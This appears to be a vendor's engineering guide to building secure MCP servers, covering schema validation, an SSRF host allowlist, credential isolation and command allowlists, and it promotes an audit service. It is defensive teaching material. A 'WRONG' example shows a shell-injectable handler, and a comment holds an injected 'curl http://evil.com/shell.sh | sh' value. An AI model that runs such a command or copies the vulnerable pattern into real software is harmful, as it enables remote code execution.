Engineering · 2026-06-02
How to write a zero-finding MCP server: a step-by-step construction guide
Our corpus of 101 MCP servers has exactly two with zero HIGH findings across all six audit axes. Not because writing a secure MCP server is hard — it isn't, if you make the right choices at the start. Both zero-finding servers share the same construction pattern: schema-first tool design, an allowlist-based SSRF firewall, strict credential isolation, a command execution blocklist, and a maintenance posture that keeps future audits clean. This guide walks through each step, with code you can copy directly into a new server.
Before diving in: the SkillAudit report has six axes — Security (SSRF, command-exec), Permissions hygiene, Credential exposure, Maintenance, Client compatibility, and Documentation completeness. A zero-finding server needs to pass all six. The good news is that steps 1 through 4 below cover roughly 90% of all HIGH findings in the corpus. Step 5 handles the maintenance axis. Step 6 handles documentation and compatibility. Each step is independent — you can apply them in any order or retrofit them to an existing server.
Schema-first tool design with Zod
The MCP SDK's tool registration accepts a schema object. Use Zod and pass the schema at registration time. This does two things: it forces the LLM to send only arguments that match the schema (malformed calls are rejected before they reach your handler), and it gives you inferred TypeScript types inside the handler for free.
import { z } from 'zod'
import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'
const server = new McpServer({ name: 'my-server', version: '1.0.0' })
// WRONG — no schema, handler receives unknown
server.tool('fetch_file', 'Fetch a file from the repo', {}, async (args) => {
// args is untyped. What if filePath is '../../../etc/passwd'?
// What if it's undefined? What if it's an object?
const content = await fs.readFile(args.filePath as string, 'utf8')
return { content: [{ type: 'text', text: content }] }
})
// CORRECT — strict Zod schema, handler only receives validated, typed input
const FetchFileSchema = z.object({
// Reject anything that looks like a path traversal attempt
filePath: z
.string()
.min(1)
.max(500)
.regex(/^[a-zA-Z0-9/_\-\.]+$/, 'Only safe path characters allowed')
.refine(p => !p.includes('..'), { message: 'Path traversal not allowed' }),
encoding: z
.enum(['utf8', 'base64'])
.default('utf8'),
})
server.tool('fetch_file', 'Fetch a file from the repo', FetchFileSchema.shape, async (args) => {
// args is now { filePath: string; encoding: 'utf8' | 'base64' }
// The path traversal check already happened — trust the type here
const content = await fs.readFile(args.filePath, args.encoding)
return { content: [{ type: 'text', text: content }] }
})
Critical schema design rules from the corpus review:
- Never use
z.any()orz.unknown()for arguments that will be used in file paths, URLs, shell commands, or database queries. These bypass the type safety you're building toward. - Use
.max()on all strings. Unbounded string inputs are a denial-of-service vector. Cap at the longest input you'd realistically expect (200 characters for a filename, 2000 for a search query). - Use
.regex()allowlist patterns rather than blocklist patterns. Allowing only alphanumerics, dashes, and slashes for a file path is vastly safer than trying to block specific bad characters. - Never accept credentials, tokens, or API keys as tool arguments. Any parameter named
token,api_key,secret, or similar is a HIGH finding regardless of how it's used inside the handler. See step 3.
PASS Servers with Zod schemas on all tool registrations have zero schema-validation findings on the input-validation axis. This is a binary check — either all tools have strict schemas, or they don't.
SSRF-prevention architecture: allowlists, not URL validation
localhost, blocking 169.254.x.x, blocking private RFC1918 ranges. These blocklists fail because of DNS rebinding, IPv6 bypass, URL parser confusion, and redirect chains. The only defense that actually works is an allowlist: enumerate the exact hostnames your server legitimately needs to reach, and block everything else.
Build a dedicated URL-checking function that you call on every LLM-supplied URL before making any outbound request:
// ssrf-guard.ts — import this in every handler that fetches LLM-supplied URLs
// The ONLY external hosts this server is designed to reach.
// If a new integration needs a new host, it must be added here explicitly.
const ALLOWED_HOSTS = new Set([
'api.github.com',
'raw.githubusercontent.com',
'api.linear.app',
// Add new hosts only when explicitly needed by a handler
])
export function assertSafeUrl(raw: string): URL {
let url: URL
try {
url = new URL(raw)
} catch {
throw new Error(`Invalid URL: ${raw}`)
}
// HTTPS only — no HTTP (plaintext), no file://, no data:, no javascript:
if (url.protocol !== 'https:') {
throw new Error(`Protocol ${url.protocol} not allowed — HTTPS only`)
}
const host = url.hostname.toLowerCase()
// Reject by allowlist — the single most important check
if (!ALLOWED_HOSTS.has(host)) {
throw new Error(`Host ${host} is not in the approved list`)
}
// Defense-in-depth: also reject obviously internal hostnames
// This protects against allowlist misconfigurations (e.g. adding 'localhost')
const BLOCKED = ['localhost', '127.0.0.1', '0.0.0.0', '::1', '[::1]']
if (BLOCKED.includes(host)) {
throw new Error(`Host ${host} is a loopback address`)
}
return url
}
// Usage in a tool handler:
server.tool('fetch_url', 'Fetch content from an approved URL', {
url: z.string().url().max(2000),
}, async ({ url }) => {
const safeUrl = assertSafeUrl(url) // Throws if not in allowlist
const res = await fetch(safeUrl.toString())
const text = await res.text()
return { content: [{ type: 'text', text: text.slice(0, 50_000) }] }
})
The response-size cap (.slice(0, 50_000)) matters: an attacker who controls the target server can return an arbitrarily large response, filling the LLM's context window or causing memory exhaustion. Cap all fetch responses before returning them as tool content.
For servers that don't need to fetch any LLM-supplied URLs at all (many servers only call fixed API endpoints), you can be more direct: never accept a URL as a tool argument. Build the URL inside the handler from fixed base paths and validated path segments only:
// Better: build the URL from validated components, not from an LLM-supplied URL
server.tool('get_repo_file', 'Get a file from a GitHub repo', {
owner: z.string().regex(/^[a-zA-Z0-9_-]{1,100}$/),
repo: z.string().regex(/^[a-zA-Z0-9_\-\.]{1,100}$/),
path: z.string().regex(/^[a-zA-Z0-9\/_\-\.]{1,500}$/).refine(p => !p.includes('..'), 'no traversal'),
}, async ({ owner, repo, path }) => {
// URL is constructed from validated segments — no SSRF possible
const url = `https://api.github.com/repos/${owner}/${repo}/contents/${path}`
const res = await fetch(url, {
headers: { 'Authorization': `Bearer ${process.env.GITHUB_TOKEN}` },
})
return { content: [{ type: 'text', text: await res.text() }] }
})
PASS Zero SSRF findings require: no LLM-supplied URL used in fetch calls without allowlist validation. The cleanest approach is to never accept a URL argument at all and construct URLs from validated path segments.
Credential isolation: environment → config → context, never tool argument
The correct pattern has three tiers:
// Tier 1: Environment → Server config (at startup time, once)
// config.ts
export interface ServerConfig {
githubToken: string
openaiKey: string
dbUrl: string
}
export function loadConfig(): ServerConfig {
const required = ['GITHUB_TOKEN', 'OPENAI_API_KEY', 'DATABASE_URL']
const missing = required.filter(k => !process.env[k])
if (missing.length > 0) {
throw new Error(`Missing required env vars: ${missing.join(', ')}`)
}
return {
githubToken: process.env.GITHUB_TOKEN!,
openaiKey: process.env.OPENAI_API_KEY!,
dbUrl: process.env.DATABASE_URL!,
}
}
// Tier 2: Config → Request context (at OAuth / session creation time)
// session.ts
export interface Session {
userId: string
octokit: Octokit // Pre-authenticated, scoped to this user's installation
}
export async function createSession(installationId: number, config: ServerConfig): Promise {
const app = new App({ appId: config.githubAppId, privateKey: config.githubPrivateKey })
const octokit = await app.getInstallationOctokit(installationId)
return { userId: String(installationId), octokit }
}
// Tier 3: Session → Tool handler (injected, never from tool args)
// handler.ts
server.tool('create_pr', 'Create a pull request', {
owner: z.string().regex(/^[a-zA-Z0-9_-]{1,100}$/),
repo: z.string().regex(/^[a-zA-Z0-9_\-\.]{1,100}$/),
title: z.string().min(1).max(256),
body: z.string().max(65535),
head: z.string().regex(/^[a-zA-Z0-9_\-\.\/]{1,255}$/),
base: z.string().regex(/^[a-zA-Z0-9_\-\.\/]{1,255}$/).default('main'),
}, async (args, { session }: { session: Session }) => {
// session.octokit is already authenticated — no token in args
const pr = await session.octokit.rest.pulls.create({
owner: args.owner,
repo: args.repo,
title: args.title,
body: args.body,
head: args.head,
base: args.base,
})
return { content: [{ type: 'text', text: `PR created: ${pr.data.html_url}` }] }
})
Two common mistakes to avoid:
- Logging credentials on startup. Many frameworks log the full config object during initialization. If your config object contains secrets, they end up in your log files (and log aggregation systems). Use a custom serializer or explicitly redact credential fields before logging.
- Echoing credentials in tool responses. If a tool returns a resource that includes a URL with credentials (e.g., a pre-signed S3 URL, a token-bearing API response), that URL appears in the LLM's context window and potentially in the conversation log. Return only the data the user needs, not the full API response object.
// Log-safe config serialization
const config = loadConfig()
console.log('Server config loaded:', {
githubToken: config.githubToken ? '[REDACTED]' : '[MISSING]',
openaiKey: config.openaiKey ? '[REDACTED]' : '[MISSING]',
dbUrl: config.dbUrl ? '[REDACTED]' : '[MISSING]',
})
PASS The credentials axis passes when: no credentials in tool argument schemas, no credentials in log output, no credentials in tool response content. These are static checks — SkillAudit scans for parameter names matching credential patterns and for string operations that concatenate env vars into log calls.
Command execution defense: allowlist of exact commands, no shell: true
shell: true or string interpolation into shell commands. This is the most reliable path to a remote code execution finding — and it receives an automatic F on the Security axis regardless of what arguments are passed. The fix is architectural: move from string-based command construction to allowlist-based argument arrays.
import { execFile } from 'child_process'
import { promisify } from 'util'
const execFileAsync = promisify(execFile)
// The only commands this server will ever execute.
// Each entry maps a stable name to an exact binary path.
const ALLOWED_COMMANDS = {
git_log: { bin: '/usr/bin/git', baseArgs: ['log', '--oneline', '-20'] },
git_status: { bin: '/usr/bin/git', baseArgs: ['status', '--porcelain'] },
git_diff: { bin: '/usr/bin/git', baseArgs: ['diff', '--stat', 'HEAD'] },
npm_test: { bin: '/usr/bin/npm', baseArgs: ['test', '--', '--reporter=json'] },
} as const
type AllowedCommand = keyof typeof ALLOWED_COMMANDS
// WRONG — shell: true + string interpolation = remote code execution
server.tool('run_git', 'Run git commands', {
command: z.string(),
}, async ({ command }) => {
const { stdout } = await execFileAsync('sh', ['-c', `git ${command}`], { shell: true })
// ^^^^^^^^^^^
// If command = '--version; curl http://evil.com/shell.sh | sh'
// This executes the curl | sh — guaranteed RCE
return { content: [{ type: 'text', text: stdout }] }
})
// CORRECT — allowlist of known-safe commands + array arguments, no shell
server.tool('run_git', 'Run predefined git commands', {
command: z.enum(['git_log', 'git_status', 'git_diff']),
// Only safe additional args, validated by schema
repoPath: z.string().regex(/^[a-zA-Z0-9_\/\-\.]{1,500}$/).refine(p => !p.includes('..'), 'no traversal').optional(),
}, async ({ command, repoPath }) => {
const spec = ALLOWED_COMMANDS[command as AllowedCommand]
const extraArgs: string[] = []
if (repoPath) {
extraArgs.push('--work-tree', repoPath)
}
// execFile with shell: false (default) — no shell interpretation
// Arguments are passed directly to the OS, never through a shell
const { stdout, stderr } = await execFileAsync(
spec.bin,
[...spec.baseArgs, ...extraArgs],
{
shell: false, // Explicit — never true
timeout: 10_000, // Kill runaway processes after 10 seconds
maxBuffer: 1024 * 1024, // 1 MB output cap
}
)
return { content: [{ type: 'text', text: stdout + (stderr ? `\nSTDERR: ${stderr}` : '') }] }
})
Additional command execution rules:
- Always set
timeout. A tool that spawns a process without a timeout can be made to hang indefinitely, blocking the server thread (or exhausting the process pool in multi-user deployments). - Always set
maxBuffer. A tool that reads stdout without a cap can exhaust memory on a command that produces large output. - Use absolute binary paths. Relative paths (just
gitinstead of/usr/bin/git) rely onPATH, which a compromised environment can manipulate. Absolute paths remove that attack surface. - Never pass LLM input as part of an argument that will be interpreted as a flag. Even with
shell: false, if you pass LLM input directly as an argument and the binary interprets arguments starting with-as flags, you have option injection. Validate with a regex that excludes leading dashes.
PASS The command execution checks look for: shell: true in any exec call, string template literals that include tool arguments in exec calls, and absence of timeout / maxBuffer in exec calls that accept external input.
Maintenance setup: exact pinning, Dependabot, and a disclosure contact
Four maintenance setup actions that cost less than 30 minutes and make a measurable difference on the audit:
# 1. Exact version pinning in package.json
# WRONG — accepts any minor update, including breaking security patches you haven't reviewed
{
"dependencies": {
"@modelcontextprotocol/sdk": "^1.2.0", // ^ accepts 1.3.0, 1.99.0, etc.
"zod": "~3.22.0"
}
}
# CORRECT — pin to exact versions; updates are explicit and reviewed
{
"dependencies": {
"@modelcontextprotocol/sdk": "1.2.0",
"zod": "3.22.4"
}
}
# After pinning, commit a lockfile (package-lock.json or bun.lockb).
# The lockfile is what installers actually pin to — without it, exact
# package.json versions still pull unpinned transitive dependencies.
# 2. Dependabot for automated CVE alerts
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
# Group all non-security updates together to reduce PR noise
groups:
non-security:
applies-to: version-updates
patterns: ["*"]
# Security updates always get individual PRs for explicit review
# (Dependabot does this automatically — no config needed)
# 3. Security disclosure contact in package.json
{
"name": "my-mcp-server",
"version": "1.0.0",
"repository": "https://github.com/yourname/my-mcp-server",
"bugs": {
"url": "https://github.com/yourname/my-mcp-server/issues"
},
# The security field is checked by SkillAudit's maintenance axis
"funding": "https://github.com/sponsors/yourname"
}
# SECURITY.md at repo root — required for an A on the maintenance axis
# Content: what versions are supported, how to report privately (email or GitHub private advisory)
# 4. npm audit in CI — catches known CVEs on every push
# .github/workflows/security.yml
name: Security
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm audit --audit-level=moderate
# Fails the CI build if any moderate or higher CVE is found
# This means you find out about security issues before installers do
PASS Maintenance axis: exact version pinning in package.json, lockfile committed, Dependabot config present, SECURITY.md present, npm audit in CI, last commit within 90 days. Each missing item drops the axis score by one letter grade.
Complete reference skeleton
Below is a minimal but production-ready MCP server skeleton that applies all five steps above. Copy it, replace the placeholder domain and tool names, and you start with a clean slate on all six SkillAudit axes.
File: src/index.ts
import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'
import { z } from 'zod'
import { loadConfig } from './config.js'
import { assertSafeUrl } from './ssrf-guard.js'
const config = loadConfig() // Throws if required env vars missing
const server = new McpServer({
name: 'my-mcp-server',
version: '1.0.0',
})
// Tool 1: Fetch from an approved external API
server.tool(
'fetch_data',
'Fetch data from the approved API endpoint',
{
resourceId: z.string().regex(/^[a-zA-Z0-9_-]{1,64}$/).describe('Resource ID to fetch'),
},
async ({ resourceId }) => {
// URL constructed from validated segment — no SSRF
const url = `https://api.approved-service.com/resources/${resourceId}`
const res = await fetch(url, {
headers: { 'Authorization': `Bearer ${config.apiKey}` },
signal: AbortSignal.timeout(10_000), // 10-second timeout
})
if (!res.ok) throw new Error(`API returned ${res.status}`)
const text = await res.text()
return { content: [{ type: 'text', text: text.slice(0, 50_000) }] }
}
)
// Tool 2: Run a safe predefined command
import { execFile } from 'child_process'
import { promisify } from 'util'
const execFileAsync = promisify(execFile)
server.tool(
'check_status',
'Check the server process status',
{
service: z.enum(['api', 'worker', 'scheduler']).describe('Which service to check'),
},
async ({ service }) => {
// Allowlist map — LLM picks a name, not a command string
const serviceMap: Record = {
api: 'api-server',
worker: 'queue-worker',
scheduler: 'job-scheduler',
}
const { stdout } = await execFileAsync(
'/usr/bin/systemctl',
['status', serviceMap[service]],
{ shell: false, timeout: 5_000, maxBuffer: 512 * 1024 }
)
return { content: [{ type: 'text', text: stdout }] }
}
)
const transport = new StdioServerTransport()
await server.connect(transport)
File: src/ssrf-guard.ts
const ALLOWED_HOSTS = new Set(['api.approved-service.com'])
export function assertSafeUrl(raw: string): URL {
let url: URL
try { url = new URL(raw) } catch { throw new Error(`Invalid URL: ${raw}`) }
if (url.protocol !== 'https:') throw new Error('HTTPS only')
if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error(`Host not allowed: ${url.hostname}`)
return url
}
File: src/config.ts
export interface ServerConfig { apiKey: string }
export function loadConfig(): ServerConfig {
if (!process.env.API_KEY) throw new Error('Missing required env var: API_KEY')
return { apiKey: process.env.API_KEY }
}
What a zero-finding audit report looks like
Running a SkillAudit scan on a server built from this skeleton returns a report with all six axes in the green zone:
| Axis | Score | Key factor |
|---|---|---|
| Security (SSRF + command-exec) | A | No LLM-supplied URLs in fetch calls; no shell: true |
| Permissions hygiene | A | No tool argument accepts credential-like parameter names |
| Credential exposure | A | All credentials from env vars; none echoed in log calls or tool responses |
| Maintenance | A | Exact pinning, lockfile committed, Dependabot configured, SECURITY.md present |
| Client compatibility | A | Uses @modelcontextprotocol/sdk with stdio transport (works in all clients) |
| Documentation completeness | A | README with install instructions, env var list, and a runnable example |
The documentation axis is the one not covered in depth above, because it's the least architectural: write a README that includes what env vars the server needs and a claude plugin install example. That's the entire requirement. A server that does everything else right but has no README still receives a B on the documentation axis.
Retrofitting an existing server
If you're applying this guide to an existing server rather than a green-field one, the priority order for HIGH findings is:
- Remove
shell: truefirst. This is the fastest path to remote code execution and the most reliably caught by security reviewers. It's also usually a one-line change: switch from a string command to an array and drop theshell: trueoption. - Add the SSRF allowlist second. Create the
assertSafeUrlfunction and add a call at the top of every handler that fetches a URL. Most servers have one or two such handlers. - Move credentials out of tool schemas third. Any tool parameter that looks like a credential needs to be removed from the schema and re-sourced from environment variables at config-load time.
- Add Zod schemas to all tools last. This is the highest-effort step because it touches every tool, but it's usually the lowest-risk to retrofit — adding a schema that validates input your handlers were already assuming is typed doesn't change behavior, it just makes the assumption explicit.
Run a SkillAudit scan before you start the retrofit to see exactly which findings you have, and after to verify they're gone. The free plan covers public repos and gives you the full findings list.
Check your MCP server before submission
Paste your GitHub URL and get a full six-axis audit in under 60 seconds. Free for public repos.
Run a free audit → How grading works →See also
- The MCP server security checklist — 12-point pre-submission checklist covering all six axes
- OWASP top 10 for MCP servers — how the web application OWASP categories map to MCP-specific risks
- GitHub Action gate: enforcing MCP security grades in CI/CD — how to automate the audit in your pipeline
- The MCP server permissions checklist — deep-dive on the permissions axis
- Anatomy of an A-grade MCP server — annotated walkthrough of a real zero-finding server from the corpus
- MCP server SSRF — detailed SSRF patterns and defenses
- MCP server command injection — command execution attack patterns